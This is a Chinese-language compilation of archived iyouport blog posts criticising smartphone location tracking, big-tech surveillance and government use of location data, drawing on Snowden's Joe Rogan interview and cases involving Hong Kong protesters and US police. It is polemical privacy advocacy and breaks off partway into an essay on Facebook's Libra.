这里是第一集“All Hail The Algorithm” 。这一集包括惊人的机器人债务丑闻、不平等的自动化、以及算法代替人类法官进行量刑的噩梦。

视频：

2、科技寡头的流行和至高无上的权力

数据帝国 —— 科技寡头如何在互联网上实现了全球化的数字殖民。

这部分内容我们也曾经有过文字版介绍，见：

- 《不流血的政变：军事工业综合体接管选举》
- 《订阅狂潮的赢家和输家》
- 《你所有昂贵的电子设备事实上全都是租来的》
- 《数字殖民主义威胁全球南方国家》
- 《血族：美国人、IBM 和出口的数字警察国家》
- 更多见标签“BigTech”、以及类目“高堡奇人”

谷歌、微信、Facebook、华为等许多美国和中国的科技寡头正在竞相与非洲和亚洲各国政府合作，建立电信和技术基础设施、“连接尚未连接的一切”、并使移动技术更加便宜。

但是，在这个过程中，他们是在建立数据帝国、还是互联网上的数字殖民？或者，两者都包括？

这就是这一集中探讨的内容。

视频：

3、政治操纵、假新闻、私刑 —— 我们的小小点击究竟付出了多少成本？

我们生活在一个点击驱动的世界里。你的每一个动作都会产生影响 —— 它们对寡头企业来说意味着巨额资金，这是一个为政党提供病毒式传播或投票操纵的重大故事。

但很多时候，影响可能会更加严重：仇恨言论、私刑、甚至死亡……

在世界各地，主要是中美“高堡奇人”组成的强大寡头实体正在利用巨

额资金来操纵和影响我们所有人。

算法是这些努力的核心 —— 开发和设计用于将特定类型的内容推送给我们的算法。上面贴着闪亮的“click me”。

这一集讲述的是，这些无形的代码都对我们做了什么？

视频：

4、“你可以跑，但无法隐藏”

生物识别技术的灾难性结果是什么？

你可以用面部解锁手机、用语音访问银行帐户，指纹通常是国民身份证上的关键信息 ……所有这一切 —— 面部、声音、指纹 等等—— 它们都是我们的生物识别数据。

中文版介绍详见类目“生物识别及对抗方法”。

独特的算法测量正在彻底改变识别过程。但生物识别技术远非完美 —— 它们的便利性和看似无懈可击的高端背后需要你付出巨大的代价 —— 最重要的是，隐私人权。

这就是这一集的主要内容。

视频：

5、“同意吧”

我们所有人如何成为了互联网上最大谎言的同谋？

关于这一问题，见我们曾经的中文版分析（这一集的内容没有我们曾经介绍的内容更深刻，但足够指明问题）：

- 《以隐私为目的的斗争如何让你变成了监视的盟友》
- 《为什么说我们所有人是反乌托邦的同谋》

屏幕后面有一大群神秘的人类在工作。他们被称为行为架构师、有说服力的设计师或用户体验专家，他们拥有的权力是巨大的。

你是否有种冲动想要不断刷新推文？—— 这是被设计出的心理操纵效果；

你是否几乎不会详细阅读就轻松点击了“我同意”条款？—— 这也是被设计出来的操纵；

在Tinder上向右或向左滑动？嗯，这也是被设计的……

我们所有人已经被绑架在一个别人精心设计的网络世界中，大多数人甚至都没有仔细想过这件事。这一切都是有预谋的。

这就是本集的内容。

视频：

感谢半岛的精心制作；希望中国的读者—尤其是从未阅读过 IYP 相关文字版分析的读者—能通过这些视频获得更多深刻的见解。

这就是我们所有人生活的世界，已经无法逃离。我们需要原地战斗。

战斗能成功的前提是让更多人了解它，了解我们的对手是谁，他们是怎么对付我们的，才能找到足以获胜的解决方案。〇

原文

你的手机如何背叛了民主？ - iyouport

你应该了解的现实你我的灾难现实

【2020年5月28日存档】2014年（6年前），我的一位朋友在辩论中就这样怒吼：“民主都快死了！你们变革能变成什么？我们需要先抓住重点！” 当时没有人能听懂他说的是什么意思。直到最近两年，一些人开始醒悟。当然，他所指的远非这篇文章主题所强调的内容，这里只是 **一个侧面……**

人们不是不希望保护自己，而是感觉那些 *真正* 能起到保护作用的方法 “根本不现实”。比如，最基本的保护性措施就是：扔掉你的智能手机。

真话说出来就是这样。而漂亮的假话可以说一大堆。

但是人们依旧想要知道 “如何更改一些设置以缓解灾难”。没错，方法的确有，但是，可能无法解决根本性问题。

就如 deleteFacebook 运动中很多人寻求的依旧是如何调整隐私设置，而不是如何彻底删除它。

我们已经被绑架了，还患上了斯德哥尔摩综合征，甚至不愿逃离。结果是什么？毁掉民主的就是每个人口袋里的东西。

夜幕降临时，香港的街道几乎到处都是灯光，成千上万的手机被人们举起在头顶摇曳。每一个闪烁都是出席的标志，也是对自由的恳求。

一些抗议者戴着面具以阻止被政府的面部识别监视摄像头网络捕获。

但是，除了明亮的灯光外，每部手机还在黑暗中发出另一个信标 ——人眼看不见的信标。

有时每分钟多次捕获和收集此信号，不是通过无人机、而是通过智能手机应用程序。在抗议者关掉相机灯、回到家中并脱下口罩之后很

久，这些信号一直在广播。

在美国乃至世界各地，几乎所有国家都会追踪任何将智能手机带到公开示威活动中的示威者，并将目标人在行动中的身影记录在商业数据集中。同时，各政党一直在收集和购买电话位置数据以进行针对性的选民说服。

- 《指南：当您准备参加抗议活动...》
- 《选举运动的数字化斗争: 2020 Presidential Race》

哥伦比亚大学新闻学教授，60年代著名的激进主义者 “学生争取民主社会” 组织主席 Todd Gitlin 说：“毫无疑问，这是险恶的。”

“这将有效地压制那些宪法声称保护的自由表达。如果人们知道自己会被跟踪，那么肯定会让他们退却。”

Times Opinion 获得了来自超过1200万美国人的电话中的超过**500**亿个位置的大量数据，这有助于说明这种全面监控给公民建立和参与健康民主的权利带来的巨大风险。

⚠无需任何特殊培训，在几分钟之内，只需进行少量的Google搜索，就可以在各个海岸的大型和小型公共示威活动中找出并识别出任何人。

⚠ 通过跟踪特定的设备，我们跟踪了从2017年 Women’s March 大型游行中返回家的所有示威者；并且在2017年就职日 Black Bloc 抗议活动中识别出了任何参与的个人。

示威者的匿名性长期以来一直是一个有争议的问题。各国政府普遍不喜欢这个主意，他们声称担心蒙面抗议者更有可能煽动骚乱。

☞ 包括纽约州和佐治亚州在内的多个州都制定了禁止在公共示威活动中戴口罩的法律。

☞ 包括加拿大和西班牙在内的国家/地区都制定了限制或禁止在所谓的非法聚会中戴口罩的规则。

但是，你必须知道，在智能手机时代 —— 无论是否蒙面 —— 已经没有人能够迷失在茫茫人海中了。

⚠请注意以下噩梦：

- 政府使用位置数据识别重大抗议活动中的政治敌人；
- 检察官或警察使用位置信息以威吓刑事被告进行认罪交易；
- 广告定位技术公司的流氓员工与出于政治动机的团体共享原始数据；
- 大型捐赠者购买了监视定位公司，以帮助增强其政党的政治定位能力，并利用这些信息来压制抗议者；
- 白人至上主义者组织入侵了一家小型企业的不安全服务器，并了解了潜在攻击目标的家乡地址 ……
- 《空中监视如何追踪抗议者？》

香港中文大学的活动家，研究员兼教授 Lokman Tsui 告诉我们，出售此数据的第三方是一个问题，因为 “购买此信息的标准非常宽松，公司没有道德审查委员会。我所在的大学就可以购买数据，而且很容易获得。他们可以购买的数据种类让我大为惊讶，“哦，哇，你居然能买到那种东西？”令人毛骨悚然的数据。”

⚠ 这些数据甚至都不需要泄漏或转手 —— 它的存在本身就已经给民主参与带来令人生畏的影响。

- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

话语已经在更专业的抗议者圈子中流传开来 —— 将手机留在家中、将其切换为飞行模式、或仅将其关闭电源（关闭电源没用，除非能把电池抠出来）。

许多反法西斯抗议者参加的集会都以掩面为基础，以保护自己的身份免受仇恨团体、警察和新闻界的袭击。

“ 我们告诉人们不要将您的手机带到抗议活动中，或者如果您这样做了，请至少保持GPS处于关闭状态……”

“然而，要知道，您自己越安全，组织起来的能力就越差，” 反法西斯抗议研究员说。

活动家 Joshua Wong 曾协助推动香港2014年雨伞运动，现在是香港持续抗议活动的关键人物。他说，无所不在的追踪从根本上改变了香港的民主抗议活动。

他说：“过去，人们觉得，如果自己不是激进主义者或知名人物，就不会受到监视，因为他们没有什么可隐藏的。但是，他们最近才意识

到，随着抗议活动越来越多，监视对所有人构成了严重的威胁，即使他们不引人注目，政府也将其作为攻击目标。”

即使是公开身份参加抗议活动的人，也会对自己的运动被归类到可购买、可出售、可合并、可被黑客入侵的数据库中，而感到不安。

“我个人很高兴向特朗普提出抗议，并让人们知道这一点。但是有很多人说，国家间谍可以仅凭行程模式就可以确定你的身份。老实说，这很可怕”，住在马里兰州 的 Eric Hensal 说，他出现在2016年华盛顿特朗普酒店外示威游行被监控的数据集中。

- 推荐长读报告《上帝之眼：一个没有秘密的世界意味着什么？》

粒度监视仍然是新事物。但是一些专家认为，围绕追踪公民这一问题进行辩论的窗口可能正在关闭。

香港中文大学的 Tsui 辩称，目前中国、美国和欧盟对互联网的构想存在三种不同模式之间的竞争。

- 《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》

中国正在迅速采取行动，打破包括公民权利在内的一切；以隐私为重点的欧盟正在围绕监视和同意提出道德上的观点。

- 《阿姆斯特丹领导对监视资本主义的斗争》

而美国及其强大的科技公司陷入了困境，一面被抨击道德问题，同时又由于深陷高堡奇人的无意义竞争而担心被中国抛在后面。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 《华为之战的虚伪：技术的巴尔干化》
- 《中国的反乌托邦监视国家是美国制造的》

Tsui 说，如果中国向前推进，通过技术消灭人权，美国无疑会紧随其后，那么美国人会发现，使用监视、大数据和人工智能来操纵和改变行为的手段及其直接结果的趋势会直线上升。

- 监视不是仅仅为了监视，而是为了操纵《心理操纵的秘密：”行为经济学”＋**PR**＝？》

☞位置数据已经成为2020年大选竞争的一部分。共和党人和民主党人的政治行动委员会已经在选址数据上进行了大笔的投资，以便根据选民的兴趣来定向操纵。

他们正在招募数据经纪人，以帮助监视那些去教堂的人的动向，以寻找倾向于保守派的选民，并操纵其投票。

- 《投票可能正是民主的问题》

在2017年发布的公司文件中，德克萨斯州的一家科技公司 Phunware 将这场竞赛的目的描述为收集针对选民的位置数据，就如 “淘金热”，“只要前几场政治运动意识到以移动广告为定位目标对选民的影响价值，闸门就会打开。哪些运动会先到达那里并发家致富？”

据报道，该公司与特朗普竞选经理 Brad Parscale 成立的 “美国制造媒体顾问公司”（American Made Media Consultants）签署了一项协议，以提供位置数据收集服务。

Phunware 吹捧选民的智能手机为“最终选民档案”。他们的行销声称，移动数据可以显示目标人的设备 “是使用什么操作系统（**iOS**或 **Android**）以及还安装哪些其他应用程序、设备加入了哪些 **Wi-Fi** 网络 **……** 等等所有信息，甚至更多”。简直如间谍软件一般。

- 《Wi-Fi是如何出卖你的？》

☞ 而且，上述这些甚至还没有包括从中推断出的信息，例如 性别、年龄、生活方式、各种偏好等等。”

当然，这些只是初期。现在发生的许多政治操纵看起来与在适当的时候投放标准的政治广告没有什么不同。但是，未来可能很快就变得一片漆黑。

拥有丰富位置数据的政治候选人可以将其与财务信息和其他个人身份信息结合起来，以建立针对目标的渗透性的心理特征分析，以此操纵和推动选民朝着看不见的方向前进。

可能的独裁者或专制领导人利用这些数据来误导或分裂选民，并阻止政治敌人在选举日出现在民意测验中。

然后，一旦掌权，他们就可以利用他们的大量数据来恐吓激进主义者和抗议者。

那些足够勇敢反叛的人会被跟踪并追踪到他们的家中。至少，他们所有人的名字都被输入黑名单。

- 在政府监视黑名单上是一种什么样的体验？《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

维稳是长期的、隐性的，反对派一旦上了黑名单就很可能再也难以参加现实中的抗议活动；异议将越来越举步维艰。

大数据曾经是营销人员的领域，如今成为了提升独裁者权力的一种手段，任何试图对抗独裁者的尝试都会被其挫败。

换句话说，不难想象由于监视资本主义基础设施而产生的社会控制系统。

“从威权主义和监视相交的例子中可以很明显地看出，我们在世界各地都可以见到的智能镇压状况。隐私权法案是绝对必要的，”马萨诸塞州参议员 Edward Markey 说，“隐私必须从一开始就被视为一项基本人权。”

麻省理工学院教授 Carlo Ratti 回应了参议员的担忧。他说：“目前的路线是站不住脚的。如果您遭遇对信息控制的不对称，那将非常危险。无论是公司还是国家，他们都可以在反抗者团结起来之前完全压制住政治对手。如果我们走这条路，那将是非常危险且非常不稳定的。”

如果说香港向世界传授了什么，那就是，一旦建立了监视系统，几乎是不可能将其连根拔起的。

维权人士 Wong 先生说，“我认为香港公民担心他们会受到追溯性的监视。随着越来越多的报道显示北京在监视其人民方面的努力和尝试，港人担心他们受到同样的待遇。”

⚠随着时间的流逝，只有那些拥有技术上足以保护自己的手段的人才有权参加抗议，包括拥有第二个一次性电话。

- “防身技术和反侦察技术”

“从技术上讲，匿名是可能的，虽然有点难。现在你只能使用技术来保护自己，因此只有那些有技术能力的人才能做到这一点。但是，隐私并不仅仅是服务于有钱人或极客的。隐私权应该是普世的基本人权。”

即使在非专制国家，不受限制的移动监视的未来也无疑会迫使持不同政见者做出艰难的决定。

“对于反法西斯研究人员和抗议者来说，他们会承担完全暴露的危险。恶劣的状况持续升温。它迫使政府和其他组织之间变得越来越好战。”

全球激进主义者的未来可能越来越像香港。

去年的无领导抗议运动是通过技术实现的。留言板 LIHKG 和诸如 Telegram 之类的加密聊天应用程序使这种组织得以继续进行。

但是，运动本身也被同样的技术所破坏。抗议者使用的一种实时位置跟踪应用程序，用于识别警察的位置，已被苹果的 App Store 删除，这表明政府在资源上将具有竞争优势。

尽管抗议者戴着口罩，用激光挡住政府摄像机，甚至拆掉可疑的监控路灯柱，但是，每个人口袋里的间谍却在悄悄破坏他们的一切努力。

与我们其他人所有人一样，手机就是你的贴身间谍。

- 《斯诺登：智能手机本身就是不安全的东西》
- 非常推荐这个访谈！《你的手机就是秘密监视设备 — Snowden 访谈视频》

在香港等地，成千上万的手机照亮了天空，这是和平反对权威的表现。但是，只有当这些闪亮的手机最终全部消失的时候，它们希望代表的鼓舞人心的图像和民主精神才能发挥作用。〇

How Your Phone Betrays Democracy

原文

你的手机就是秘密监视设备 — Snowden访谈视频 - iyouport

你应该了解的现实你我的灾难现实技术暴政

【2020年5月19日存档】你要小心，要非常小心。

线索：

- 2013年，爱德华·斯诺登（Edward Snowden）成为泄露美国国家安全局机密文件的来源，文件证明了的确存在旨在监视全球的系统；
- 第一个违宪的和非法的监视项目被称为 Stellar Wind，该程序基本上是在全球范围内监视所有电话和互联网通信的项目；
- 您的手机现已成为秘密监视设备，可以跟踪您的一举一动，几乎所有通信和在线活动；
- 即使您的手机已关闭GPS，只要您已连接到Wi-Fi，由于Wi-Fi调制解调器中的全局唯一标识符，您的确切位置仍会被识别和记录；
- 我们需要的是能够自己决定哪些应用和程序可以进行通信以及何时进行通信，只有这样才能重新获得控制个人隐私的能力。

到现在为止，任何人都应该清楚地知道，个人的自主权和自由受到强大力量的攻击，而强大力量有能力根据自己的异想天开操纵和塑造社会。

诸如 Google 和 Facebook 这样的技术垄断企业已经拥有了消除公民自由的至高无上的权力，即使您甚至没有注意到，它也一直在实际发生。

多年来，Google成为人类历史上最大的“图书馆”。虽然它最初是令人难以置信的，它使人们获得了以前可能从未获得过的信息，但是，此后它很快就演变成了庞大的且不可思议的全球性监控和操纵设备。

- 谷歌的创建目的就是大规模监视《谷歌的真面目》

截至2019年6月，Google改变了游戏规则，您将无法再以过去的方式访问这一庞大的信息宝库。

结果是灾难性的 —— 因为不仅会阻止您找到真实信息，而且还会积极引导您获取误导性的信息。因此，这是双重打击。

- 为什么你看不到独立媒体的真实信息？《媒体巨头和硅谷的武器化算法沉默异议》
- 《你被诱捕了：当谷歌搜索排名第一的电话号码是陷阱》
- 国际特赦组织报告《谷歌和Facebook是人权侵犯者》

在上面的视频中，乔·罗根（Joe Rogan）采访了爱德华·斯诺登（Edward Snowden）。

这是一个将近三个小时的采访，如果可以的话，强烈建议您花点时间观看整个采访。这很可能是斯诺登有史以来最好的采访之一。

斯诺登是谁？

「图」

斯诺登（Snowden）于2013年夏天成为全球家喻户晓的名字，当时他作为泄露美国国家安全局（NSA）机密文件的来源，这些文件证明存在了旨在监视全球的系统。

- 在这里看到完整版报告的中文解读《互联网霸主的时间线——他们将互联网视为间谍、破坏和战争的主场》

斯诺登（Snowden）是高级安全技术专家，曾是美国中央情报局（US Central Intelligence Agency）的前雇员，他曾在咨询公司和国防承包商 Booz Allen Hamilton 担任技术专家。

以此身份，他被签约到美国国家安全局在夏威夷的一家工厂工作。在NSA任职的四年中，他了解了这些秘密的监视程序。

斯诺登最终泄露了一大堆文件，这些文件显示了公众受到监视的极端程度 —— 而且目前为止这种监视一直在持续。

- 《斯诺登曝光6年后，大规模拦截的现状》

斯诺登在向《华盛顿邮报》泄露的第一份文件所附的便条中说，他披露信息的唯一动机是“向公众通报政府以他们的名义所作的一切如何

对他们不利。”

透明度革命

「图」

虽然有些人（尤其是情报界的人）将他视为叛徒，但公民普遍将他视为爱国者和英雄。毫无疑问，他是现代历史上最重要的举报人之一。

斯诺登牺牲了自己的一切只为使大众意识到正在发生的非法的侵犯性的严重监视行为。根据《卫报》 2013年的报道：

“在此之前他过着 ‘非常舒适的生活’，其中包括大约*200,000*美元的薪水，与女友合住的夏威夷的房子、稳定的职业、以及他所爱的家庭。

‘我愿意牺牲所有这一切，因为我不能凭良心让美国政府使用他们秘密建造的这种大型监视机器破坏全世界人们的隐私权、互联网自由和基本自由。”

- 斯诺登曝光的是切实的证据，但监视全球并非新鲜事，在这里看到一本书《American Spies》这是 2016 年 Palmer 公民自由奖得主，充分揭示了大规模间谍全球的行为有多么地历史悠久。

美国当局废除了他的护照，这使他无法去任何地方，但从技术上讲，过境区也不是俄罗斯的土地，因此不能将他引渡。

斯诺登至今仍居住在俄罗斯，迄今为止，所有引渡工作均告失败。这种情况使美俄关系紧张。

斯诺登（Snowden）去年发行了他的第一本书《Permanent Record》，其中不仅详细介绍了他的生活，而且详细介绍了他对权力转移的看法以及技术如何在这种转移中发挥作用。

- 您可以在这里下载这本书的完整版，不要读中文版哦，中文版中删掉了很多重要内容：t.me/iyouport/6085

全球监视合法吗？

「图」

在接受罗根（Rogan）采访时，斯诺登（Snowden）回答了一个普遍的误解，即：他发现的全球技术监视计划没什么大不了的，因为，“这不是间谍机构应该做的吗？”

他说，答案是否定的，他们不应该监视合法公民。根据法律规定，只有在有实际理由的情况下，政府才可以监视个人，比如有明确的证据怀疑某人从事非法活动或威胁国家安全和公共安全的活动。

换句话说，他们必须获得法庭许可，才能访问您的私人记录，包括电话、电子邮件、照片、旅行路线等。

斯诺登继续讲述了该法律框架如何变化的历史 —— 所有这些都是秘密发生的。

第一个监视程序被称为 Stellar Wind，它基本上可以在全球范围内监视所有电话和互联网通信。“他们开始秘密进行这项监视，这完全违宪的，完全非法，” 斯诺登说。

“他们逐步改变了我们的宪法权利。而且我们不被允许知道 …… 我们美国人不再是政府的伙伴和监督者；我们已经完全屈服于政府。”

的确，这些年来，我们已经看到了转变，人们想要什么已经不再重要。无论反对者有多强烈，政府官员都在做自己想做的任何事。

- 《不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？》

疫苗的授权也许就是一个很好的例子。成千上万的人可以在公开听证会上提出反对意见，但是，当权者对人们的反对意见充耳不闻。

显然，如果我们不了解体制的工作原理，就无法更改体制，这就是为什么斯诺登决定公开其发现的东西。

现在，您可以猜到，促进实施所有此类监视的技术平台之一是 Google。

Google 会跟踪并无限期地存储您进行过的每一次击键。

- 在这里看到几乎全部教训《他们是如何抓捕说真话的人？⚠灾难和教训》

您的手机如何监视您

「图」

- 不要错过《斯诺登：智能手机本身就是不安全的东西（video）》

如果三小时的采访实在太麻烦了，那么至少要观看罗根（Rogan）对斯诺登采访中的这20分钟。在其中，他专门讨论了您的手机如何成为秘密监视设备。

您的手机始终都连接到最近的手机发射塔，并且会不断广播全局唯一标识符，以物理识别您的手机。这就是为什么当有人打您的电话时，您的电话会响，而其他电话不会响。

您的电话连接到的每个手机信号塔都会永久记录您的号码，以及连接到该特定信号塔的时间。

由于您必须为电话号码订阅服务，因此一旦有人获得了您的手机ID和相应的电话号码，他们就可以盗取您的身份。不论你走到哪里，手机都会跟踪您的一举一动。

正如斯诺登（Snowden）所指出的那样，根本无需永远保持此信息，但它确实是永久保存了。

因为寡头公司将这些数据视为财富来源，为他们提供有关您、您的兴趣、个人关系、生活习惯等等密集的数据点，然后，将其转变为您的详尽个人资料，可以通过多种方式利用这些资料，包括用于操纵的目的。

斯诺登还指出，即使您的手机已关闭GPS，只要您已连接到Wi-Fi，您的确切位置仍会得到识别和记录。换句话说，即使没有**GPS**数据，**Wi-Fi**接入点也可以充当您所在位置的代理。

请注意，不只是政府能追踪你，如果你使用**Wi-Fi**，任何人都能追踪你。详见下面的追踪演示和说明：

- 《为什么你不应该使用Wi-Fi》

您如何保护您的隐私和人身安全？

「图」

那么，您如何保护自己的隐私？听起来很奇怪，但事实上即使关闭手

机也不是应对这种监视的可靠保证，因为现代手机根本无法完全关闭。

原因是现在大多数智能手机都装有永久性电池，如果你无法取出电池，就不能确定没有数据从设备接收或传输。

根据斯诺登的说法，“有多种方法可以将入侵到似乎已关闭但实际上并未关闭的手机 —— 只是在“假装”关闭。”

不过，对于一般人来说，这种黑客攻击不大可能发生 —— 而记者、活动家和反抗者就不一样了，这些群体是当局的重点目标，也是斯诺登讲述这一问题的关键。

- 《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》

斯诺登（Snowden）建议，在考虑缓解措施时，首先要考虑的是，如果要利用这些信息，可能会对您造成多大的破坏。也就是威胁模型。换句话说，例如，不要从手机发送“绝密”文件。

- 如何构建威胁模型《保护安全需要一系列思考方式，而不是哪个软件》

斯诺登说，对普通市民来说，最主要的威胁是海量数据的收集，这是因为大多数人一直在不停地打电话。

他说：“当今使用智能手机的中心问题是，您不知道它到底在干什么。您不知道它连接了什么或*[发送/接收信息]*的频率。*Apple*和*IOS*使你无法看到设备上不断建立什么样的网络连接。”

反监视需要控制数据的能力

「图」

斯诺登说，我们需要的是能够掌握哪些应用和程序能够进行通信以及何时进行通信的权力。部分问题在于，整个行业都建立在使所有这些东西不可见的基础之上，以使您无法了解正在收集的数据以及何时收集哪些数据。

他说：“我们需要使我们的设备的活动对普通人来说更加可见和可理解。”“然后自己控制它”。谷歌和苹果没有提供这项功能，声称这项任务太复杂了，斯诺登说，“实际上是对问题的承认。”

斯诺登说：应该很明显，事实并非如此。我们逐层理解事实……说您的数据在这里已经被泄露，这家公司正在监视您 … 该公司正在操纵您的购买或搜索结果，或者他们正在对你隐藏这些东西 —— 这都是由同一个问题导致的，是可用信息的不对称。

他们可以看到有关您的所有一切信息，可以看到有关您的设备运行的所有信息，并且可以使用您的设备进行任何操作。而另一方面，您花钱买了该设备，但是却自己无法控制该设备，你花钱买的设备继续由寡头公司甚至政府拥有 ……

- 你根本没有 “买到” 任何电子设备 《你所有昂贵的电子设备事实上全都是租来的》
- 为什么你无法真正购买电子设备《地主2.0：科技的新食利资本主义》

我们自己拥有的财产越来越少。哪怕花了很多钱。

所有这些数据都是关于你的，他们拿走的是你，而不是仅仅是数据，他们不是在操纵算法，而是在操纵你！”

谷歌

「图」

我们的 “关于谷歌” 专栏中记录了详细的证据。这些年来，人们担心会发生的一切现在都已经发生了。

Google 为赢得您的信任已经谋划了很多年，但实际上只是在设置陷阱，将信任转变为强大的控制权。它最初为您提供了您想要的一切，因此现在你很难觉察出自己已经沦陷。

Google 现在牢牢掌握信息，挑选并选择它希望您能够看到的内容、并隐藏它认为你不应该看到的内容。由于它是个人数据的主要收集者，因此在大规模监视机器中起着不可或缺的作用。

- 《谷歌控制的世界和监视资本主义》

要深入了解 Google 如何审查政治信息，请参阅 “Google举报人 Zach Vorhies 的演讲”。在许多方面，**Vorhies** 就是 **Google** 的斯诺登，他揭开了监视资本主义巨头的神秘面纱，以揭示**Google**操纵用户并从幕后影响政治的多种方式。

即使目前应对监视问题的解决方案依旧很少，但如果我们仍然不知道监视的工作方式甚至不知道监视的发生，我们将永远找不到任何答案。

IYP 分析过关于谷歌数据收集的问题《到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首》；答案的一部分很简单，就是抵制Google，避免使用 Google 产品。

这里有一些建议：

- 《Google 产品的替代品—完整列表 关注隐私权的你，马上行动起来 ~ 》
- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

别忘了看视频，那个采访真的不错。〇

原文

你的手机知道一切，并且很愿意告诉警察：法律不保护你 - iyouport

你应该了解的现实你我的灾难现实

【2020年8月4日存档】法律甚至宪法都不一定能真的保护您。人权仍需公民自己来争取。

如果您曾经逛购物中心，然后就收到了刚刚途经的商店发来的短信优惠券，那么您应该立刻明白：您的位置并不是秘密。外面有人时刻都能知道您在哪儿，并且一直在使用这些信息 —— 可不是优惠券这么简单。

- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—Snowden访谈视频》

根据不同人的喜好不同，这种贴身的营销可能会让有些人感觉毛骨悚然，而另一些人则觉得非常有帮助。

但是，如果您要与政府机构抗衡，那么位置跟踪无疑是非常危险的，因为，政府机构只会把你扔进监狱，而不是给您特别优惠 ……

您的手机正在跟踪您的一举一动，尽管受到法律保护 —— 在很多国家都有法律保护 —— 但是，中央和地方官员都正在努力寻找新的且令人不安的方式来使用该信息。

- 法律甚至宪法的承诺在现实中很难有什么鸟用 …… 推荐这篇报告，足够说明，人权还需要人民亲手来争取《铁幕之下：全球反抗者如何对战监视者？》

在法律正式实施之前很久一些警察就已经发现通过电话追踪目标人的潜力了。

比如美国。密苏里州前警长 Cory Hutcheson 去年4月因在没有逮捕证的情况下非法跟踪人们的电话而被判入狱六个月，并被软禁四个月。被追踪的人中有他的前任警长、州警官和县法官。

美国东部地区检察官办公室称："在三年内，包括当选密西西比县警长之后，Hutcheson 一直在将虚假和的欺诈性文件上传到执法数据库中，以获取200多个手机用户的具体位置。"

" Hutcheson 在没有有效法律授权、未经目标个人同意或知情的情况下，提交了数千个数据请求，并获得了数百个手机用户的实际位置数据。"

Hutcheson 通过 Securus 进行了跟踪，该公司是监狱电话提供商，可在通信设备上为执法人员提供定位服务。* 根据2018年 ZDNet 对这种关系的调查显示，Securus 从 LocationSmart 获得了手机位置数据，LocationSmart 与主要的移动通信提供商合作。

这项安排绕开了对政府机构直接从电信获取此类数据的限制。

手机位置记录的第四修正案保护在2018年的 Carpenter 诉美国案中得到了加强，该案发现，"信号塔位置记录相比传统车辆的GPS带来了更大的隐私问题"。

但是坏警察就是要用手边能得到的任何东西去做坏事。而所谓的好警察（或者至少是那些遵守规则的警察）也很感兴趣知道您在哪里，而他们的举动并不一定会让人放心。

《华尔街日报》最近报道说："美国移民和海关执法局……已使用手机位置数据来帮助抓捕移民。国土安全部下属的另一家机构海关与边境保护局（US Customs and Border Protection）使用该信息在不寻常的地方（例如横跨墨西哥边境的偏远沙漠中）寻找手机活动。"

国土安全部从 Venntel 提取其使用的位置数据，该公司本身不是从电信拿数据的，而是从应用程序公司获取信息。

考虑一下您的地图应用程序、或者移动状态下调整其天气预报的天气应用程序、或者告诉您附近有哪些供应商的食品订购应用程序 …… 这些都是老大哥。

这些所谓的便捷功能需要时刻跟踪您的动向，而这些动向对包括国土安全部在内的政府间谍来说都是颇具价值的。

大多数应用程序在其共享数据中都掩盖了个人身份。国土安全部购买的信息应该显示电话的位置以及手机的来回移动位置，但是与 LocationSmart / Securus 跟踪不同，它不应连接到实际身份。

但是，如果您将多个应用程序中的数据关联起来，或者将生活模式组合在一起，那么就很容易将地图上的移动点与人的身份重新连接起来。

《纽约时报》关于该行业的一份报告说："几位从事定位业务的人都表示，在这种数据中找出真实的个人身份会相对简单。"

- 《中国已经将智能手机武器化：这就是为什么您应该关注》

警长 Sheriff Hutcheson 对其政治敌人施加的那种个人手机跟踪方式，对于所有愿意并能够获得搜查令的政府机构都适用。

每个人口袋中的电话充当位置信标，向可能想知道团体聚会地点的机构发出人员的一般动向信号，并向愿意跳过合法范围（或假装这样做）的官员广播每个人的个人位置。

请记住，无论采取哪种保护措施，您的手机都是一个可怕的东西。携带手机时它会连续记录您去过哪里，并会告诉任何以正确方式提出要求的人。每一位使用智能手机的用户都应明白这点。〇

不要错过 "难以被追踪" 系列：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 《8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9）》

Where Have You Been? Your Cellphone Knows and Is Willing to Tell

原文

便利的暴政 - iyouport

互联网自由-Resist你应该了解的现实监视资本主义的世界

【2019年11月1日存档】“你是受贿人，所以你无权争辩”——他们这样告诉你。不，这不是人们选择接受的贿赂，而是强加给每个人的。基于这一问题的辩论将是能否扭转反乌托邦大跃进的关键。

李彦宏被泼了一瓶矿泉水。那是7月初发生的“热点事件”，我们当时没有评论它，主要因为在我们看来这瓶水是一项未完成的事业，或者说，它是不够的。

百度的可恶不仅在于它和其他监视资本主义寡头一样的本性，并且，李彦宏还公开声称“中国人愿意用便利交换隐私”；这和扎克伯格厚颜无耻地称其用户“像傻逼一样地信任我”，基本没有区别。

但是，以便利交换隐私的辩词并非李彦宏发明的，监视资本主义寡头的发言人经常会以各种版本声称这点；甚至，有些最初的辩论者已经受到这一错误逻辑的影响而开始退缩。

如果这一邪恶逻辑继续存在，将更加快速地变本加厉。

Facebook 的天秤座就是一个新的典型。

延伸《杀死天秤座在萌芽状态》。

如果您还记得我们在今年的周年纪念文章中所陈述的观点，关于为什么监视全球的惊人内幕曝光后六年而没有得到任何解决？为什么说我们所有人都已经成为反乌托邦世界的帮凶？详见《6年，改变了什么？》

是否继续屈服于便利的暴政，是决定未来的关键。

当 Facebook 宣布该公司的全球货币天秤座时，它表达了希望“为人们和企业提供便捷的服务，例如只需按一下按钮即可支付账单，通过扫

描代码购买一杯咖啡或乘坐当地公共交通工具而无需携带现金或地铁通行证”。

